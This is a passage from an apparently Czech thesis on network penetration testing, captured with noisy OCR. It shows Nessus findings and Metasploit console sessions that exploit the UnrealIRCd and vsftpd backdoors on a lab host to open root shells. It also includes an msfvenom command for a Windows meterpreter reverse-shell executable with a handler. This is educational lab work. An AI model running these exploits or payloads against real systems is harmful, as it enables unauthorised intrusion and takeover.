Ke Download
Rogue Shell Backdoor Detection Backdoors 1
Vulnerabilities
camicaL JSON Access (via finger Gain a shell remotely 1
® crital
UnreallRCd Backdoor Detection Backdoors 1 (o ® Hgh
{ A Medium
® Low
EEGEM  Unsupported Unix Operating System General i . i
IS VNG Server password Password Gain a shell remotely 1 J

vsitpd Smiley Face Backdoor FTP 1

| Multiple Vendor DNS Query ID Field Prediction Cache Poisoning DNS 1

Obrazek 21- Vysledek testu Nessus
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Kazda takto nalezena slabina se da rozkliknout na detail, kde 1ze o dané bezpe¢nostni hrozbe
zjistit zakladni mnozstvi informaci a jsou zde poskytnuty odkazy na zdroje pro zisk
podrobnéjsich faktl. Kazdy tento detail navic poskytuje feseni, diky kterému se d4 dana
bezpecnostni hrozba climinovat, pfipadné pomaha jejimu piedchazeni v budoucnosti.
Z pohledu bezpecnostniho testera jsou v detailu diilezité informace o tom, zdali existuje pro
danou hrozbu moznost jejiho zneuziti, pfipadné informace o tom, zda a kdy byla vydana
bezpecnostni zaplata. V neposledni fadé jsou velmi uziteCné poskytované odkazy na
zdznamy v databazich bezpec¢nostnich problémii. U nékterych zndméjSich chyb existuji
dokonce odkazy na moduly Metasploit frameworku, které dokazou dany problém zneuZit.

Ukézka detailu bezpecnostniho problému je zobrazena na obrazku ¢islo 22 nize.

Debian OpenSSH/OpenSSL Package Random Number ... Plugin Details
Severity: Critical
Description
ID: 32321
The remote x509 certificate on the remote SSL server has been generated on a Debian or Ubuntu system Version: 1.21
which contains a bug in the random number generator of its OpenSSL library. )
Type: remote
] ] ) ; Family: Gain a shell remotely
The problem is due to a Debian packager removing nearly all sources of entropy in the remote version of
OpensSSL. Published: 2008/05/15
Modified: 2015/10/07

An attacker can easily obtain the private part of the remote key and use this to decipher the remote

session or set up a man in the middle attack.
Risk Information

Solution Risk Factor: Critical

CVSS Base Score: 10.0

CVSS Vector: CVSS2#AV:N/AC:L/AU:N/C:C
/l:C/A:C

CVSS Temporal Vector:
CVSS24E:F/RL:OF/RC:C

CVSS Temporal Score: 8.3

Consider all cryptographic material generated on the remote host to be guessable. In particuliar, all SSH,
SSL and OpenVPN key material should be re-generated.

See Also

org/u?5d01bdab
org/u?f1414224

Obrazek 22- Detail bezpe¢nostniho problému Nessus

6.6.2 Vyuziti Metasploit framework

Poté co jsme dokoncili zisk informaci o zkoumané siti a povedlo se nam nalézt nckteré
bezpecnostni problémy, je na Case zkusit tyto problémy zneuzit a zhodnotit tak jejich
opravdovou miru nebezpe¢nosti pro testovanou infrastrukturu. K tomu, abychom mohli
vyuzit nékteré z bezpecnostnich chyb nalezenych pfi provadénych skenech v pfedchozich
kapitolach, vyuzijeme pravdépodobné nejrozsahlejsi nastroj pouzivany pro tyto ucely —
Metasploit Framework. Tento nastroj je soucasti zakladni distribuce Kali a da se spustit
pfimo v termindlu za pomoci piikazu msfconsole. Metasploit obsahuje databazi
bezpecnostnich chyb, které¢ umi vyuzivat, v této databazi se da vyhledavat pouzitim ptikazu

search <<nazev exploitu>>. Pokud chceme danou chybu pouzit, provedeme to pies
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piikaz use <<umisténi exploitu>>. Pro zjiSténi informaci o pouzivané chyb¢ je nutné
dotazat se na informacni vypis, a to ptes ptikaz info. Pied findlnim zneuzitim vétSiny téchto
chyb je potieba nastavit parametry, které jsou povinné (mozno zjistit v informa¢nim vypisu
viz. Obrazek 23). Nastaveni téchto parametri provedeme pomoci piikazu set <<ndzev
parametru>> <<hodnota parametru>>. Pokud je vSe spravn¢ nastaveno a pfipraveno

K pouziti, samotné spusténi provedeme pfes piikaz exploit.

root@kali: ~ (- IO >
File Edit View Search Terminal Help

msf exploit( ) = info

Name: UnrealIRCD 3.2.8.1 Backdoor Command Execution
Module: exploit/unix/irc/unreal_ircd_3281_ backdoor
Platform: Unix
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2010-06-12

Provided by:
hdm <x@hdm.10>

Available targets:
Id Name

0] Automatic Target

3asic options:
Name Current Setting Required Description
RHOST The target address
RPORT 6667 The target port

Payload information:
Space: 1024

Description:
This module exploits a malicious backdoor that was added to the
Unreal IRCD 3.2.8.1 download archive. This backdoor was present in
the Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th
2010,

References:
http://cvedetails.com/cve/2010-2075/
http://www.osvdb.org/65445
http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt

msf exploitl

Obrazek 23- Metasploit exploit info
V piechozich fazich bylo nalezeno nékolik bezpecnostnich chyb v podob¢ uziti slabych nebo
defaultnich ptihlasovacich udaji do riiznych sluzeb. Tyto chyby jsou samoziejmé pomérné
jednoduché k zneuziti, jelikoz jediné, co staci, je prihlasit se k dané sluzbé s témito udaji,
proto slabiny tohoto typu nebudou v této praci dale zkoumany. Prvni chybou, kterou se

pokusime zneuzit, je UnreallRCDBackdoor. Jedna se o zkompromitovany balicek IRC
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serveru, ktery v sobé obsahuje backdoor, tato chyba dovoluje vzdalené vyvolat jakykoliv
ptikaz se stejnymi pravy, jako jsou prava, ktery ma uzivatel, ktery spustil IRC server.
K tomu pouzijeme exploit Unreal IRCD 3.2.8.1, jak je doporuceno v detailu chyby ve vypisu
z Nessusu. Déle nastavime adresu vzdaleného hosta na IP adresu cilového pocitace a adresu
lokélniho hosta na IP adresu naseho pocitace. Poté jiz pouze spustime exploit. Pokud je vse
provedeno spravné, méli bychom se dostat do vzdalené console. Celé provedeni tohoto

postupu je mozné vidét na obrazku Cislo 24 nize.
root@kali: ~ (- 0 ;)

File Edit View Search Terminal Help

msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
it ( ) > set RHOST 192.168.203.128

RHOST == 192 168,203,128

msf exploitl ) = set LHOST 192.168.203.132
LHOST == 192.168,203.132

msf exploit( ) = exploit

[*] Started reverse TCP double handler on 192.168.203.132:4444
[*] Connected to 192,168.203.128:6667. ..
iirc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname..
iirc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname, using your
IP address instead
[#¥] Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 11oPI618sm3wdevE;
¥] Writing to socket A
Writing to socket B
Reading from sockets...
Reading from socket B
B: "lloPI6l8sm3wdevE\r\n"
Matching. ..
A 1is input...
Command shell session 1 opened (192.168.203.132:4444 -> 192,168.203.128:40488) at 20
07-27 11:18:52 -0400

Obrazek 24- Zneuziti Unreal IRCD

Druhou chybou, kterou jsme nalezli pti skenovani, je zkompromitovany balicek vsftpd, ktery
V sob¢ nese backdoor. Pokud se tedy utocnik pokusi ptihlasit na FTP server za pomoci
uzivatelského jména, které obsahuje © , piikazova fadka za¢ne naslouchat na TPC portu
6200 a umozni Uto¢nikovi spoustét piikazy s root pravy. Tento exploit miZeme opét
pomérné jednoduse vyuzit za pomoci existujiciho modulu v Metasploit frameworku. Postup
je velmi podobny tomu pouzitému v minulém ptikladu, jedinou zménou je zde pouziti
modulu VSFTPD 2.3.4, zbytek je stejny, nastavime vzdaleného hosta na IP adresu
vzdaleného PC, lokéalniho hosta na IP adresu lokalniho pocitace a spustime exploit. Poté jiz
bychom méli byt pfipojeni a méli mit moznost zadavat piikazy do konzole. Cely proces a

vysledek je mozné vidét na obrazku ¢islo 25 na zacatku nasledujici strany.
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root@kali: ~ (- O <]

File Edit View Search Terminal Help

> use exploit/unix/ftp/vsftpd_234 backdoor
msf exploitl ) = set RHOST 192.168.203.128
RHOST => 192.168.203.128
msf exploitl ) = set LHOST 192.168.203.132
LHOST == 192.168,203.132
msf exploit( ) = exploit

Banner: 220 (vsFTPd 2.3.4)

USER: 331 Please specify the password.
Backdoor service has been spawned, handling...
UID: uid=0(root) gid=0(root)

Found shell.

Command shell session 1 opened (192.168.203,132:45998 -> 192,168,203,128:620
at 2016-07-27 11:47:31 -0400

initrd.img

Obrazek 25- Metasploit vyuZiti VSFTPD

Na zavér bych rdd demonstroval Siroké moznosti vyuziti Metasploit frameworku na
piikladu, ktery ukazuje moznost vytvoieni souboru, ktery dokaze na napadeném pocitaci
spustit Skodlivy kéd a diky némuz je utocnik schopen se na tento pocita¢ ptipojit a ovladnout
ho. Tento postup se sice netyka piimo sité, kterou jsme testovali do této chvile, nicméné tato

ukazka by zde urcite¢ neméla chybét. V prvni fazi si pomoci piikazu msfvenom -p

windows/meterpreter/reverse tcp -LHOST <<IP adresa lokdlniho PC>> -LPORT

<<Port lokdlniho PC>> -f <<koncovka souboru>> -e <<architektura souboru>>
vytvofime spustitelny soubor, ktery nam v ptipad¢ otevieni na cilovém PC dovoli tento
pocita¢ ovladnout. Pustime si Metasploit, zvolime chybu, kterou chceme vyuzit, nastavime
IP adresu lokalniho PC, nastavime adresu cilového PC a spustime provadéni exploitu. Cely
tento proces je zachycen na obrazku 26. Pokud se soubor dostane na cilové PC a uzivatel

ho otevie, terminal pfepne do nového zobrazeni a my mizeme ovladat napadeny pocitac.
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root@kali: ~

File Edit View Search Terminal Help
R
BRREBRRRBERL BRERBREEBREE
## # ## ad
http://metasploit.pro

Taking notes in notepad? Have Metasploit Pro track & report
your progress and findings -- learn more on http://rapid7.com/metasploit

metasploit v4.11.5-2016010401 ]
1517 exploits - 875 auxiliary - 257 post |
437 payloads - 37 encoders - 8 nops ]

]

Free Metasploit Pro trial: http://r-7.co/trymsp

msf = use exploit/multi/handler

msf exploitl ) = set RHOST 192.168.0.103
RHOST == 192.168.0.103

msf exploit( ) > set LHOST 192.168.0.104
LHOST == 192.168.0.104

msf exploitl ) = exploit

#] Started reverse TCP handler on 192.168.0.104: 4444
¥*] Starting the payload handler...

[
[
i

Obrazek 26- Uziti multi handleru
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7 Zaver

Z vysledku ziskanych pii praktickém testu bezdratovych siti je mozné potvrdit jejich velmi
vysokou nebezpec¢nost, a to hlavné z divodu samotného funkéniho principu standardu
802.11, ktery vyzaduje pifenaseni datovych ramci volnym prostorem, coz dava
potenciondlnimu Gto¢nikovi moznost tato data bez problému zachytit a vyc¢ist z nich dulezité
informace, které mu mohou poslouzit k naslednému Gspé$nému provedeni ttoku. Dal$im

rizikem je obrovsky prostor pro chybu pfi jejich nastavovani nebo 1 samotném vyuzivani.

Testy v praktické casti ukazaly, ze pouzivani filtru MAC adres nebo moznost skryti AP jsou
z pohledu bezpecnosti naprosto nedostacujici, jelikoz se informace k jejich obejiti daji vy¢ist
pouze za pomoci odposlechu dat z prostfedi. Proto je doporuc¢ovano pouZivat tyto funkce

pouze jako doplnkové, v zadném ptipadé jako jediny prostifedek pro zabezpeceni Wi-Fi sit¢.

V teoretické ¢asti bylo feCeno, ze zabezpeceni typu WEP je zastaralé a Wi-Fi Alliance
doporucuje ho nevyuzivat. Jak se potvrdilo v praktickém testu, sité¢ vyuzivajici toto
zabezpeceni je mozné pomérné jednoduse penetrovat za prakticky jakékoliv situace, a to
dokonce 1 pokud neexistuje zZadny klient, ktery by byl k siti pfipojen nebo se k ni nové
ptipojoval. Sité€ vyuzivajici zabezpeceni WPA nebo WPA2 jiz pouzivaji bezpecnou Sifru a
jedinou mozZnosti jejich Gispésné penetrace je chyba na strané vlastnika nebo uzivatele, tedy
nejastéji pouziti slabého PSK, ktery je mozné uhodnout za pomoci jednoduchého
slovnikového utoku. Pokud je sit' nastavena pro pouziti zabezpeceni WPA/WPA2
Enterprise, je mozné ji penetrovat pouze pii Spatné provedeném nastaveni sit¢, tedy pouze
Vv pfipad€, kdy je nastaveno pouZiti slabého protokolu. Dal§im piikladem chyby pfi
nastavovani je povoleni pfipojit se klientdm, ktefi neovéfuji identitu RADIUS serveru, coz

umoznuje jeho zaménu za falesny.

Nakonec jsem predvedl postupy penetracniho testovani, které je mozné vyuzit v ptipade, ze
mame pied zaatkem testovani ptistup do sité, ptipadné se nam ho povede ziskat v dasledku

nekterého z provadénych testi.

V piipadé, ze neni mozné obejit zabezpeceni sité pomoci chyby v pouzitém zabezpeCovacim
protokolu, je nutné hledat dal§i chyby. V praktickém testu bylo ukézdno pomérné
jednoduché proniknuti do sité, kterd méa zapnutou technologii WPS. Proto bych doporucil
toto nastaveni vibec nepouzivat nebo ho pouzivat na routeru, jehoz software pocita

S moznosti tohoto typu utoku.
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